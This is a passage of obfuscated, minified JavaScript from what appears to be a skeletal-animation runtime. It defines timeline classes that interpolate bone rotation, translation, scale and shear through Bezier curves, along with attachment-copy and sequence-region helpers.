= 0x3 * _0x2b4e15, _0x3ca6be = _0x2b4e15 << 0x1; _0x5374af < _0x47c30a; _0x5374af += _0x2d6c01) { let _0x18b99a = 0x0, _0x405e59 = 0x0, _0x23d4b4 = _0x1f2465[_0x1c5e6f++]; for (_0x23d4b4 += _0x1c5e6f; _0x1c5e6f < _0x23d4b4; _0x1c5e6f++, _0x2d0926 += 0x3, _0x3ca6be += 0x2) { let _0x28f7f6 = _0x3fe0b4[_0x1f2465[_0x1c5e6f]], _0x111e40 = _0xa42afc[_0x2d0926] + _0x34f9ec[_0x3ca6be], _0x10c37f = _0xa42afc[_0x2d0926 + 0x1] + _0x34f9ec[_0x3ca6be + 0x1], _0x2ece54 = _0xa42afc[_0x2d0926 + 0x2]; _0x18b99a += (_0x111e40 * _0x28f7f6['a'] + _0x10c37f * _0x28f7f6['b'] + _0x28f7f6['worldX']) * _0x2ece54, _0x405e59 += (_0x111e40 * _0x28f7f6['c'] + _0x10c37f * _0x28f7f6['d'] + _0x28f7f6['worldY']) * _0x2ece54; } _0x48958c[_0x5374af] = _0x18b99a, _0x48958c[_0x5374af + 0x1] = _0x405e59; } } } ['copyTo'](_0x16d6ff) { this['bones'] ? (_0x16d6ff['bones'] = new Array(this['bones']['length']), _0x5bda80['arrayCopy'](this['bones'], 0x0, _0x16d6ff['bones'], 0x0, this['bones']['length'])) : _0x16d6ff['bones'] = null, this['vertices'] && (_0x16d6ff['vertices'] = _0x5bda80['newFloatArray'](this['vertices']['length']), _0x5bda80['arrayCopy'](this['vertices'], 0x0, _0x16d6ff['vertices'], 0x0, this['vertices']['length'])), _0x16d6ff['worldVerticesLength'] = this['worldVerticesLength'], _0x16d6ff['timelineAttachment'] = this['timelineAttachment']; } }, _0x3d7263 = _0x157352; _0x3d7263['nextID'] = 0x0; var _0x1e5d18 = class { constructor(_0x297004) { this['id'] = _0x1e5d18['nextID'](), this['start'] = 0x0, this['digits'] = 0x0, this['setupIndex'] = 0x0, this['regions'] = new Array(_0x297004); } ['copy']() { let _0x279072 = new _0x1e5d18(this['regions']['length']); return _0x5bda80['arrayCopy'](this['regions'], 0x0, _0x279072['regions'], 0x0, this['regions']['length']), _0x279072['start'] = this['start'], _0x279072['digits'] = this['digits'], _0x279072['setupIndex'] = this['setupIndex'], _0x279072; } ['apply'](_0x556520, _0x3efadd) { let _0x3f0a0b = _0x556520['sequenceIndex']; -0x1 == _0x3f0a0b && (_0x3f0a0b = this['setupIndex']), _0x3f0a0b >= this['regions']['length'] && (_0x3f0a0b = this['regions']['length'] - 0x1); let _0x47a376 = this['regions'][_0x3f0a0b]; _0x3efadd['region'] != _0x47a376 && (_0x3efadd['region'] = _0x47a376, _0x3efadd['updateRegion']()); } ['getPath'](_0x1a66ce, _0x3df236) { let _0x368f11 = _0x1a66ce, _0x3417e1 = (this['start'] + _0x3df236)['toString'](); for (let _0x2de3b2 = this['digits'] - _0x3417e1['length']; _0x2de3b2 > 0x0; _0x2de3b2--)_0x368f11 += '0'; return _0x368f11 += _0x3417e1, _0x368f11; } static ['nextID']() { return _0x1e5d18['_nextID']++; } }, _0x34c537 = _0x1e5d18; _0x34c537['_nextID'] = 0x0; var _0x2565a5 = (_0x4280a3 => (_0x4280a3[_0x4280a3['hold'] = 0x0] = 'hold', _0x4280a3[_0x4280a3['once'] = 0x1] = 'once', _0x4280a3[_0x4280a3['loop'] = 0x2] = 'loop', _0x4280a3[_0x4280a3['pingpong'] = 0x3] = 'pingpong', _0x4280a3[_0x4280a3['onceReverse'] = 0x4] = 'onceReverse', _0x4280a3[_0x4280a3['loopReverse'] = 0x5] = 'loopReverse', _0x4280a3[_0x4280a3['pingpongReverse'] = 0x6] = 'pingpongReverse', _0x4280a3))(_0x2565a5 || {}), _0x179b03 = [0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6], _0x3de812 = class { constructor(_0x11d7fd, _0x794d72, _0x475943) { if (this['timelines'] = [], this['timelineIds'] = new _0x9fefcd(), !_0x11d7fd) throw new Error('name\x20cannot\x20be\x20null.'); this['name'] = _0x11d7fd, this['setTimelines'](_0x794d72), this['duration'] = _0x475943; } ['setTimelines'](_0x48dc7c) { if (!_0x48dc7c) throw new Error('timelines\x20cannot\x20be\x20null.'); this['timelines'] = _0x48dc7c, this['timelineIds']['clear'](); for (var _0x23d2f0 = 0x0; _0x23d2f0 < _0x48dc7c['length']; _0x23d2f0++)this['timelineIds']['addAll'](_0x48dc7c[_0x23d2f0]['getPropertyIds']()); } ['hasTimeline'](_0x309abd) { for (let _0x112128 = 0x0; _0x112128 < _0x309abd['length']; _0x112128++)if (this['timelineIds']['contains'](_0x309abd[_0x112128])) return !0x0; return !0x1; } ['apply'](_0x1625ef, _0x49824c, _0x4b1775, _0x4e2f13, _0x5d0f07, _0x424375, _0x1598a7, _0x24f6c6) { if (!_0x1625ef) throw new Error('skeleton\x20cannot\x20be\x20null.'); _0x4e2f13 && 0x0 != this['duration'] && (_0x4b1775 %= this['duration'], _0x49824c > 0x0 && (_0x49824c %= this['duration'])); let _0x332c7c = this['timelines']; for (let _0x58a0f4 = 0x0, _0x27f9ff = _0x332c7c['length']; _0x58a0f4 < _0x27f9ff; _0x58a0f4++)_0x332c7c[_0x58a0f4]['apply'](_0x1625ef, _0x49824c, _0x4b1775, _0x5d0f07, _0x424375, _0x1598a7, _0x24f6c6); } }, _0x20befd = (_0x26a15b => (_0x26a15b[_0x26a15b['setup'] = 0x0] = 'setup', _0x26a15b[_0x26a15b['first'] = 0x1] = 'first', _0x26a15b[_0x26a15b['replace'] = 0x2] = 'replace', _0x26a15b[_0x26a15b['add'] = 0x3] = 'add', _0x26a15b))(_0x20befd || {}), _0x16f044 = (_0xb37df0 => (_0xb37df0[_0xb37df0['mixIn'] = 0x0] = 'mixIn', _0xb37df0[_0xb37df0['mixOut'] = 0x1] = 'mixOut', _0xb37df0))(_0x16f044 || {}), _0x4f4f0d = 0x0, _0x343347 = 0x1, _0x491177 = 0x2, _0x38222e = 0x3, _0x39fc25 = 0x4, _0x177dad = 0x5, _0x28bf84 = 0x6, _0x367f0b = 0x7, _0x148594 = 0x8, _0x3ca5b4 = 0x9, _0xd9004e = 0xa, _0x5a9afc = 0xb, _0x57e39d = 0xc, _0x1db221 = 0xd, _0x46edc3 = 0xe, _0x14c8b5 = 0xf, _0x9f1c47 = 0x10, _0x21c6e6 = 0x11, _0x40c15b = 0x12, _0x46ae29 = 0x13, _0x14ac7e = class { constructor(_0xf4234d, _0x376104) { this['propertyIds'] = _0x376104, this['frames'] = _0x5bda80['newFloatArray'](_0xf4234d * this['getFrameEntries']()); } ['getPropertyIds']() { return this['propertyIds']; } ['getFrameEntries']() { return 0x1; } ['getFrameCount']() { return this['frames']['length'] / this['getFrameEntries'](); } ['getDuration']() { return this['frames'][this['frames']['length'] - this['getFrameEntries']()]; } static ['search1'](_0x19f2b8, _0x95a7ca) { let _0xb9765d = _0x19f2b8['length']; for (let _0x13f023 = 0x1; _0x13f023 < _0xb9765d; _0x13f023++)if (_0x19f2b8[_0x13f023] > _0x95a7ca) return _0x13f023 - 0x1; return _0xb9765d - 0x1; } static ['search'](_0xe87ed0, _0x492a22, _0x2e8b5c) { let _0x210fdb = _0xe87ed0['length']; for (let _0x5401d4 = _0x2e8b5c; _0x5401d4 < _0x210fdb; _0x5401d4 += _0x2e8b5c)if (_0xe87ed0[_0x5401d4] > _0x492a22) return _0x5401d4 - _0x2e8b5c; return _0x210fdb - _0x2e8b5c; } }, _0x1b9341 = class extends _0x14ac7e { constructor(_0x52c19a, _0x13381e, _0xacdb17) { super(_0x52c19a, _0xacdb17), this['curves'] = _0x5bda80['newFloatArray'](_0x52c19a + 0x12 * _0x13381e), this['curves'][_0x52c19a - 0x1] = 0x1; } ['setLinear'](_0x3a07ad) { this['curves'][_0x3a07ad] = 0x0; } ['setStepped'](_0x124836) { this['curves'][_0x124836] = 0x1; } ['shrink'](_0x12fea5) { let _0x29a3c9 = this['getFrameCount']() + 0x12 * _0x12fea5; if (this['curves']['length'] > _0x29a3c9) { let _0x529e49 = _0x5bda80['newFloatArray'](_0x29a3c9); _0x5bda80['arrayCopy'](this['curves'], 0x0, _0x529e49, 0x0, _0x29a3c9), this['curves'] = _0x529e49; } } ['setBezier'](_0x4c5399, _0x1cff26, _0xcb2f70, _0xc5500f, _0x2de0c3, _0x1eaa43, _0x41e864, _0x567371, _0x199536, _0x5c8eac, _0x5dc4ae) { let _0x2c3582 = this['curves'], _0x2a46a3 = this['getFrameCount']() + 0x12 * _0x4c5399; 0x0 == _0xcb2f70 && (_0x2c3582[_0x1cff26] = 0x2 + _0x2a46a3); let _0x21f0ee = 0.03 * (_0xc5500f - 0x2 * _0x1eaa43 + _0x567371), _0x1beb96 = 0.03 * (_0x2de0c3 - 0x2 * _0x41e864 + _0x199536), _0x4af97e = 0.006 * (0x3 * (_0x1eaa43 - _0x567371) - _0xc5500f + _0x5c8eac), _0x257e1a = 0.006 * (0x3 * (_0x41e864 - _0x199536) - _0x2de0c3 + _0x5dc4ae), _0xf53f85 = 0x2 * _0x21f0ee + _0x4af97e, _0x26ed7f = 0x2 * _0x1beb96 + _0x257e1a, _0x2fdb15 = 0.3 * (_0x1eaa43 - _0xc5500f) + _0x21f0ee + 0.16666667 * _0x4af97e, _0x476388 = 0.3 * (_0x41e864 - _0x2de0c3) + _0x1beb96 + 0.16666667 * _0x257e1a, _0x2f1400 = _0xc5500f + _0x2fdb15, _0x9c73d7 = _0x2de0c3 + _0x476388; for (let _0x5d6c9a = _0x2a46a3 + 0x12; _0x2a46a3 < _0x5d6c9a; _0x2a46a3 += 0x2)_0x2c3582[_0x2a46a3] = _0x2f1400, _0x2c3582[_0x2a46a3 + 0x1] = _0x9c73d7, _0x2fdb15 += _0xf53f85, _0x476388 += _0x26ed7f, _0xf53f85 += _0x4af97e, _0x26ed7f += _0x257e1a, _0x2f1400 += _0x2fdb15, _0x9c73d7 += _0x476388; } ['getBezierValue'](_0x251676, _0x1ac977, _0x3d5d2b, _0x3ee1cb) { let _0x3cbd69 = this['curves']; if (_0x3cbd69[_0x3ee1cb] > _0x251676) { let _0x39bcdb = this['frames'][_0x1ac977], _0x37df0d = this['frames'][_0x1ac977 + _0x3d5d2b]; return _0x37df0d + (_0x251676 - _0x39bcdb) / (_0x3cbd69[_0x3ee1cb] - _0x39bcdb) * (_0x3cbd69[_0x3ee1cb + 0x1] - _0x37df0d); } let _0x24ccf3 = _0x3ee1cb + 0x12; for (_0x3ee1cb += 0x2; _0x3ee1cb < _0x24ccf3; _0x3ee1cb += 0x2)if (_0x3cbd69[_0x3ee1cb] >= _0x251676) { let _0x41760e = _0x3cbd69[_0x3ee1cb - 0x2], _0x578776 = _0x3cbd69[_0x3ee1cb - 0x1]; return _0x578776 + (_0x251676 - _0x41760e) / (_0x3cbd69[_0x3ee1cb] - _0x41760e) * (_0x3cbd69[_0x3ee1cb + 0x1] - _0x578776); } _0x1ac977 += this['getFrameEntries'](); let _0xc844a9 = _0x3cbd69[_0x24ccf3 - 0x2], _0x2657c0 = _0x3cbd69[_0x24ccf3 - 0x1]; return _0x2657c0 + (_0x251676 - _0xc844a9) / (this['frames'][_0x1ac977] - _0xc844a9) * (this['frames'][_0x1ac977 + _0x3d5d2b] - _0x2657c0); } }, _0x3c9c6c = class extends _0x1b9341 { constructor(_0x98d4eb, _0x1c7af2, _0xe2ca3a) { super(_0x98d4eb, _0x1c7af2, [_0xe2ca3a]); } ['getFrameEntries']() { return 0x2; } ['setFrame'](_0x3df729, _0x504ef0, _0x29bf4e) { _0x3df729 <<= 0x1, this['frames'][_0x3df729] = _0x504ef0, this['frames'][_0x3df729 + 0x1] = _0x29bf4e; } ['getCurveValue'](_0x4e2a88) { let _0x3f8024 = this['frames'], _0x25ea01 = _0x3f8024['length'] - 0x2; for (let _0x3fe05f = 0x2; _0x3fe05f <= _0x25ea01; _0x3fe05f += 0x2)if (_0x3f8024[_0x3fe05f] > _0x4e2a88) { _0x25ea01 = _0x3fe05f - 0x2; break; } let _0x5059d5 = this['curves'][_0x25ea01 >> 0x1]; switch (_0x5059d5) { case 0x0: let _0x3e6792 = _0x3f8024[_0x25ea01], _0x3aeb8a = _0x3f8024[_0x25ea01 + 0x1]; return _0x3aeb8a + (_0x4e2a88 - _0x3e6792) / (_0x3f8024[_0x25ea01 + 0x2] - _0x3e6792) * (_0x3f8024[_0x25ea01 + 0x2 + 0x1] - _0x3aeb8a); case 0x1: return _0x3f8024[_0x25ea01 + 0x1]; }return this['getBezierValue'](_0x4e2a88, _0x25ea01, 0x1, _0x5059d5 - 0x2); } }, _0x5bc693 = class extends _0x1b9341 { constructor(_0x2d819a, _0x155f3f, _0xfce185, _0x4c9538) { super(_0x2d819a, _0x155f3f, [_0xfce185, _0x4c9538]); } ['getFrameEntries']() { return 0x3; } ['setFrame'](_0x304972, _0x3c0ac6, _0x3b6cac, _0x44c1a6) { _0x304972 *= 0x3, this['frames'][_0x304972] = _0x3c0ac6, this['frames'][_0x304972 + 0x1] = _0x3b6cac, this['frames'][_0x304972 + 0x2] = _0x44c1a6; } }, _0x96df89 = class extends _0x3c9c6c { constructor(_0x9eb8f0, _0x8e278c, _0x3dfeda) { super(_0x9eb8f0, _0x8e278c, _0x4f4f0d + '|' + _0x3dfeda), this['boneIndex'] = 0x0, this['boneIndex'] = _0x3dfeda; } ['apply'](_0x6b164b, _0x1c6191, _0x1e317b, _0x9f87eb, _0x23dd67, _0x490898, _0x4ef88f) { let _0x504047 = _0x6b164b['bones'][this['boneIndex']]; if (!_0x504047['active']) return; if (_0x1e317b < this['frames'][0x0]) { switch (_0x490898) { case 0x0: return void (_0x504047['rotation'] = _0x504047['data']['rotation']); case 0x1: _0x504047['rotation'] += (_0x504047['data']['rotation'] - _0x504047['rotation']) * _0x23dd67; }return; } let _0x36fd05 = this['getCurveValue'](_0x1e317b); switch (_0x490898) { case 0x0: _0x504047['rotation'] = _0x504047['data']['rotation'] + _0x36fd05 * _0x23dd67; break; case 0x1: case 0x2: _0x36fd05 += _0x504047['data']['rotation'] - _0x504047['rotation']; case 0x3: _0x504047['rotation'] += _0x36fd05 * _0x23dd67; } } }, _0x6b1dcb = class extends _0x5bc693 { constructor(_0x3472ac, _0x172714, _0x325ddf) { super(_0x3472ac, _0x172714, _0x343347 + '|' + _0x325ddf, _0x491177 + '|' + _0x325ddf), this['boneIndex'] = 0x0, this['boneIndex'] = _0x325ddf; } ['apply'](_0x199e3f, _0x51ac25, _0x2e37f8, _0x337f8b, _0x37461e, _0x295f11, _0x118ca9) { let _0xbb3308 = _0x199e3f['bones'][this['boneIndex']]; if (!_0xbb3308['active']) return; let _0x87652b = this['frames']; if (_0x2e37f8 < _0x87652b[0x0]) { switch (_0x295f11) { case 0x0: return _0xbb3308['x'] = _0xbb3308['data']['x'], void (_0xbb3308['y'] = _0xbb3308['data']['y']); case 0x1: _0xbb3308['x'] += (_0xbb3308['data']['x'] - _0xbb3308['x']) * _0x37461e, _0xbb3308['y'] += (_0xbb3308['data']['y'] - _0xbb3308['y']) * _0x37461e; }return; } let _0x1f6434 = 0x0, _0x3f35f4 = 0x0, _0x460117 = _0x14ac7e['search'](_0x87652b, _0x2e37f8, 0x3), _0x4c43c9 = this['curves'][_0x460117 / 0x3]; switch (_0x4c43c9) { case 0x0: let _0x55cacb = _0x87652b[_0x460117]; _0x1f6434 = _0x87652b[_0x460117 + 0x1], _0x3f35f4 = _0x87652b[_0x460117 + 0x2]; let _0x1b4a4a = (_0x2e37f8 - _0x55cacb) / (_0x87652b[_0x460117 + 0x3] - _0x55cacb); _0x1f6434 += (_0x87652b[_0x460117 + 0x3 + 0x1] - _0x1f6434) * _0x1b4a4a, _0x3f35f4 += (_0x87652b[_0x460117 + 0x3 + 0x2] - _0x3f35f4) * _0x1b4a4a; break; case 0x1: _0x1f6434 = _0x87652b[_0x460117 + 0x1], _0x3f35f4 = _0x87652b[_0x460117 + 0x2]; break; default: _0x1f6434 = this['getBezierValue'](_0x2e37f8, _0x460117, 0x1, _0x4c43c9 - 0x2), _0x3f35f4 = this['getBezierValue'](_0x2e37f8, _0x460117, 0x2, _0x4c43c9 + 0x12 - 0x2); }switch (_0x295f11) { case 0x0: _0xbb3308['x'] = _0xbb3308['data']['x'] + _0x1f6434 * _0x37461e, _0xbb3308['y'] = _0xbb3308['data']['y'] + _0x3f35f4 * _0x37461e; break; case 0x1: case 0x2: _0xbb3308['x'] += (_0xbb3308['data']['x'] + _0x1f6434 - _0xbb3308['x']) * _0x37461e, _0xbb3308['y'] += (_0xbb3308['data']['y'] + _0x3f35f4 - _0xbb3308['y']) * _0x37461e; break; case 0x3: _0xbb3308['x'] += _0x1f6434 * _0x37461e, _0xbb3308['y'] += _0x3f35f4 * _0x37461e; } } }, _0x2f9417 = class extends _0x3c9c6c { constructor(_0x31ad9e, _0x4adf06, _0x19e46b) { super(_0x31ad9e, _0x4adf06, _0x343347 + '|' + _0x19e46b), this['boneIndex'] = 0x0, this['boneIndex'] = _0x19e46b; } ['apply'](_0x5783b3, _0xc32f9, _0x4d36ef, _0x3ad90a, _0x26c471, _0x31e495, _0x483f83) { let _0x56b2c3 = _0x5783b3['bones'][this['boneIndex']]; if (!_0x56b2c3['active']) return; if (_0x4d36ef < this['frames'][0x0]) { switch (_0x31e495) { case 0x0: return void (_0x56b2c3['x'] = _0x56b2c3['data']['x']); case 0x1: _0x56b2c3['x'] += (_0x56b2c3['data']['x'] - _0x56b2c3['x']) * _0x26c471; }return; } let _0xc0b278 = this['getCurveValue'](_0x4d36ef); switch (_0x31e495) { case 0x0: _0x56b2c3['x'] = _0x56b2c3['data']['x'] + _0xc0b278 * _0x26c471; break; case 0x1: case 0x2: _0x56b2c3['x'] += (_0x56b2c3['data']['x'] + _0xc0b278 - _0x56b2c3['x']) * _0x26c471; break; case 0x3: _0x56b2c3['x'] += _0xc0b278 * _0x26c471; } } }, _0x1a76ca = class extends _0x3c9c6c { constructor(_0x2c1cc8, _0x344dbb, _0x349984) { super(_0x2c1cc8, _0x344dbb, _0x491177 + '|' + _0x349984), this['boneIndex'] = 0x0, this['boneIndex'] = _0x349984; } ['apply'](_0x2d8db6, _0x18fdd0, _0x5964b9, _0x33e487, _0xe145e3, _0x573103, _0x171089) { let _0x2cb367 = _0x2d8db6['bones'][this['boneIndex']]; if (!_0x2cb367['active']) return; if (_0x5964b9 < this['frames'][0x0]) { switch (_0x573103) { case 0x0: return void (_0x2cb367['y'] = _0x2cb367['data']['y']); case 0x1: _0x2cb367['y'] += (_0x2cb367['data']['y'] - _0x2cb367['y']) * _0xe145e3; }return; } let _0xe87978 = this['getCurveValue'](_0x5964b9); switch (_0x573103) { case 0x0: _0x2cb367['y'] = _0x2cb367['data']['y'] + _0xe87978 * _0xe145e3; break; case 0x1: case 0x2: _0x2cb367['y'] += (_0x2cb367['data']['y'] + _0xe87978 - _0x2cb367['y']) * _0xe145e3; break; case 0x3: _0x2cb367['y'] += _0xe87978 * _0xe145e3; } } }, _0x72a919 = class extends _0x5bc693 { constructor(_0x1827c6, _0x267678, _0x272f80) { super(_0x1827c6, _0x267678, _0x38222e + '|' + _0x272f80, _0x39fc25 + '|' + _0x272f80), this['boneIndex'] = 0x0, this['boneIndex'] = _0x272f80; } ['apply'](_0x1742a2, _0x4658d0, _0x1e4fb2, _0x2a9386, _0x3f84df, _0x159dd2, _0xece2c3) { let _0x1b2a16 = _0x1742a2['bones'][this['boneIndex']]; if (!_0x1b2a16['active']) return; let _0x36043b, _0x3f1c23, _0x2f28dd = this['frames']; if (_0x1e4fb2 < _0x2f28dd[0x0]) { switch (_0x159dd2) { case 0x0: return _0x1b2a16['scaleX'] = _0x1b2a16['data']['scaleX'], void (_0x1b2a16['scaleY'] = _0x1b2a16['data']['scaleY']); case 0x1: _0x1b2a16['scaleX'] += (_0x1b2a16['data']['scaleX'] - _0x1b2a16['scaleX']) * _0x3f84df, _0x1b2a16['scaleY'] += (_0x1b2a16['data']['scaleY'] - _0x1b2a16['scaleY']) * _0x3f84df; }return; } let _0xfb6d1c = _0x14ac7e['search'](_0x2f28dd, _0x1e4fb2, 0x3), _0x4896d6 = this['curves'][_0xfb6d1c / 0x3]; switch (_0x4896d6) { case 0x0: let _0x1e69c4 = _0x2f28dd[_0xfb6d1c]; _0x36043b = _0x2f28dd[_0xfb6d1c + 0x1], _0x3f1c23 = _0x2f28dd[_0xfb6d1c + 0x2]; let _0x5dab96 = (_0x1e4fb2 - _0x1e69c4) / (_0x2f28dd[_0xfb6d1c + 0x3] - _0x1e69c4); _0x36043b += (_0x2f28dd[_0xfb6d1c + 0x3 + 0x1] - _0x36043b) * _0x5dab96, _0x3f1c23 += (_0x2f28dd[_0xfb6d1c + 0x3 + 0x2] - _0x3f1c23) * _0x5dab96; break; case 0x1: _0x36043b = _0x2f28dd[_0xfb6d1c + 0x1], _0x3f1c23 = _0x2f28dd[_0xfb6d1c + 0x2]; break; default: _0x36043b = this['getBezierValue'](_0x1e4fb2, _0xfb6d1c, 0x1, _0x4896d6 - 0x2), _0x3f1c23 = this['getBezierValue'](_0x1e4fb2, _0xfb6d1c, 0x2, _0x4896d6 + 0x12 - 0x2); }if (_0x36043b *= _0x1b2a16['data']['scaleX'], _0x3f1c23 *= _0x1b2a16['data']['scaleY'], 0x1 == _0x3f84df) 0x3 == _0x159dd2 ? (_0x1b2a16['scaleX'] += _0x36043b - _0x1b2a16['data']['scaleX'], _0x1b2a16['scaleY'] += _0x3f1c23 - _0x1b2a16['data']['scaleY']) : (_0x1b2a16['scaleX'] = _0x36043b, _0x1b2a16['scaleY'] = _0x3f1c23); else { let _0x438026 = 0x0, _0x2b42a3 = 0x0; if (0x1 == _0xece2c3) switch (_0x159dd2) { case 0x0: _0x438026 = _0x1b2a16['data']['scaleX'], _0x2b42a3 = _0x1b2a16['data']['scaleY'], _0x1b2a16['scaleX'] = _0x438026 + (Math['abs'](_0x36043b) * _0x19ba92['signum'](_0x438026) - _0x438026) * _0x3f84df, _0x1b2a16['scaleY'] = _0x2b42a3 + (Math['abs'](_0x3f1c23) * _0x19ba92['signum'](_0x2b42a3) - _0x2b42a3) * _0x3f84df; break; case 0x1: case 0x2: _0x438026 = _0x1b2a16['scaleX'], _0x2b42a3 = _0x1b2a16['scaleY'], _0x1b2a16['scaleX'] = _0x438026 + (Math['abs'](_0x36043b) * _0x19ba92['signum'](_0x438026) - _0x438026) * _0x3f84df, _0x1b2a16['scaleY'] = _0x2b42a3 + (Math['abs'](_0x3f1c23) * _0x19ba92['signum'](_0x2b42a3) - _0x2b42a3) * _0x3f84df; break; case 0x3: _0x1b2a16['scaleX'] += (_0x36043b - _0x1b2a16['data']['scaleX']) * _0x3f84df, _0x1b2a16['scaleY'] += (_0x3f1c23 - _0x1b2a16['data']['scaleY']) * _0x3f84df; } else switch (_0x159dd2) { case 0x0: _0x438026 = Math['abs'](_0x1b2a16['data']['scaleX']) * _0x19ba92['signum'](_0x36043b), _0x2b42a3 = Math['abs'](_0x1b2a16['data']['scaleY']) * _0x19ba92['signum'](_0x3f1c23), _0x1b2a16['scaleX'] = _0x438026 + (_0x36043b - _0x438026) * _0x3f84df, _0x1b2a16['scaleY'] = _0x2b42a3 + (_0x3f1c23 - _0x2b42a3) * _0x3f84df; break; case 0x1: case 0x2: _0x438026 = Math['abs'](_0x1b2a16['scaleX']) * _0x19ba92['signum'](_0x36043b), _0x2b42a3 = Math['abs'](_0x1b2a16['scaleY']) * _0x19ba92['signum'](_0x3f1c23), _0x1b2a16['scaleX'] = _0x438026 + (_0x36043b - _0x438026) * _0x3f84df, _0x1b2a16['scaleY'] = _0x2b42a3 + (_0x3f1c23 - _0x2b42a3) * _0x3f84df; break; case 0x3: _0x1b2a16['scaleX'] += (_0x36043b - _0x1b2a16['data']['scaleX']) * _0x3f84df, _0x1b2a16['scaleY'] += (_0x3f1c23 - _0x1b2a16['data']['scaleY']) * _0x3f84df; } } } }, _0x5c2c0b = class extends _0x3c9c6c { constructor(_0x1e59db, _0x44ec14, _0x2ffc47) { super(_0x1e59db, _0x44ec14, _0x38222e + '|' + _0x2ffc47), this['boneIndex'] = 0x0, this['boneIndex'] = _0x2ffc47; } ['apply'](_0x534119, _0x46765f, _0x586775, _0x17cb9c, _0x39976e, _0x54d2c4, _0x364cd5) { let _0x3d6e47 = _0x534119['bones'][this['boneIndex']]; if (!_0x3d6e47['active']) return; if (_0x586775 < this['frames'][0x0]) { switch (_0x54d2c4) { case 0x0: return void (_0x3d6e47['scaleX'] = _0x3d6e47['data']['scaleX']); case 0x1: _0x3d6e47['scaleX'] += (_0x3d6e47['data']['scaleX'] - _0x3d6e47['scaleX']) * _0x39976e; }return; } let _0xf1db31 = this['getCurveValue'](_0x586775) * _0x3d6e47['data']['scaleX']; if (0x1 == _0x39976e) 0x3 == _0x54d2c4 ? _0x3d6e47['scaleX'] += _0xf1db31 - _0x3d6e47['data']['scaleX'] : _0x3d6e47['scaleX'] = _0xf1db31; else { let _0x5dec09 = 0x0; if (0x1 == _0x364cd5) switch (_0x54d2c4) { case 0x0: _0x5dec09 = _0x3d6e47['data']['scaleX'], _0x3d6e47['scaleX'] = _0x5dec09 + (Math['abs'](_0xf1db31) * _0x19ba92['signum'](_0x5dec09) - _0x5dec09) * _0x39976e; break; case 0x1: case 0x2: _0x5dec09 = _0x3d6e47['scaleX'], _0x3d6e47['scaleX'] = _0x5dec09 + (Math['abs'](_0xf1db31) * _0x19ba92['signum'](_0x5dec09) - _0x5dec09) * _0x39976e; break; case 0x3: _0x3d6e47['scaleX'] += (_0xf1db31 - _0x3d6e47['data']['scaleX']) * _0x39976e; } else switch (_0x54d2c4) { case 0x0: _0x5dec09 = Math['abs'](_0x3d6e47['data']['scaleX']) * _0x19ba92['signum'](_0xf1db31), _0x3d6e47['scaleX'] = _0x5dec09 + (_0xf1db31 - _0x5dec09) * _0x39976e; break; case 0x1: case 0x2: _0x5dec09 = Math['abs'](_0x3d6e47['scaleX']) * _0x19ba92['signum'](_0xf1db31), _0x3d6e47['scaleX'] = _0x5dec09 + (_0xf1db31 - _0x5dec09) * _0x39976e; break; case 0x3: _0x3d6e47['scaleX'] += (_0xf1db31 - _0x3d6e47['data']['scaleX']) * _0x39976e; } } } }, _0x4dc808 = class extends _0x3c9c6c { constructor(_0x3503e2, _0x141d39, _0x1c8d2b) { super(_0x3503e2, _0x141d39, _0x39fc25 + '|' + _0x1c8d2b), this['boneIndex'] = 0x0, this['boneIndex'] = _0x1c8d2b; } ['apply'](_0x4f2685, _0x29277e, _0x142b99, _0x31d5c4, _0x583922, _0x49ebca, _0x2509f4) { let _0x8029b4 = _0x4f2685['bones'][this['boneIndex']]; if (!_0x8029b4['active']) return; if (_0x142b99 < this['frames'][0x0]) { switch (_0x49ebca) { case 0x0: return void (_0x8029b4['scaleY'] = _0x8029b4['data']['scaleY']); case 0x1: _0x8029b4['scaleY'] += (_0x8029b4['data']['scaleY'] - _0x8029b4['scaleY']) * _0x583922; }return; } let _0x4b26f5 = this['getCurveValue'](_0x142b99) * _0x8029b4['data']['scaleY']; if (0x1 == _0x583922) 0x3 == _0x49ebca ? _0x8029b4['scaleY'] += _0x4b26f5 - _0x8029b4['data']['scaleY'] : _0x8029b4['scaleY'] = _0x4b26f5; else { let _0x329fcd = 0x0; if (0x1 == _0x2509f4) switch (_0x49ebca) { case 0x0: _0x329fcd = _0x8029b4['data']['scaleY'], _0x8029b4['scaleY'] = _0x329fcd + (Math['abs'](_0x4b26f5) * _0x19ba92['signum'](_0x329fcd) - _0x329fcd) * _0x583922; break; case 0x1: case 0x2: _0x329fcd = _0x8029b4['scaleY'], _0x8029b4['scaleY'] = _0x329fcd + (Math['abs'](_0x4b26f5) * _0x19ba92['signum'](_0x329fcd) - _0x329fcd) * _0x583922; break; case 0x3: _0x8029b4['scaleY'] += (_0x4b26f5 - _0x8029b4['data']['scaleY']) * _0x583922; } else switch (_0x49ebca) { case 0x0: _0x329fcd = Math['abs'](_0x8029b4['data']['scaleY']) * _0x19ba92['signum'](_0x4b26f5), _0x8029b4['scaleY'] = _0x329fcd + (_0x4b26f5 - _0x329fcd) * _0x583922; break; case 0x1: case 0x2: _0x329fcd = Math['abs'](_0x8029b4['scaleY']) * _0x19ba92['signum'](_0x4b26f5), _0x8029b4['scaleY'] = _0x329fcd + (_0x4b26f5 - _0x329fcd) * _0x583922; break; case 0x3: _0x8029b4['scaleY'] += (_0x4b26f5 - _0x8029b4['data']['scaleY']) * _0x583922; } } } }, _0x4c274b = class extends _0x5bc693 { constructor(_0x38af9f, _0x2152f3, _0x117451) { super(_0x38af9f, _0x2152f3, _0x177dad + '|' + _0x117451, _0x28bf84 + '|' + _0x117451), this['boneIndex'] = 0x0, this['boneIndex'] = _0x117451; } ['apply'](_0x1378f8, _0x2bdb53, _0x647aa9, _0x334b58, _0x3c6298, _0x4d4c10, _0x498888) { let _0x194701 = _0x1378f8['bones'][this['boneIndex']]; if (!_0x194701['active']) return; let _0x1ace22 = this['frames']; if (_0x647aa9 < _0x1ace22[0x0]) { switch (_0x4d4c10) { case 0x0: return _0x194701['shearX'] = _0x194701['data']['shearX'], void (_0x194701['shearY'] = _0x194701['data']['shearY']); case 0x1: _0x194701['shearX'] += (_0x194701['data']['shearX'] - _0x194701['shearX']) * _0x3c6298, _0x194701['shearY'] += (_0x194701['data']['shearY'] - _0x194701['shearY']) * _0x3c6298; }return; } let _0x36134c = 0x0, _0x160008 = 0x0, _0x560663 = _0x14ac7e['search'](_0x1ace22, _0x647aa9, 0x3), _0x283ddd = this['curves'][_0x560663 / 0x3]; switch (_0x283ddd) { case 0x0: let _0x14ed52 = _0x1ace22[_0x560663]; 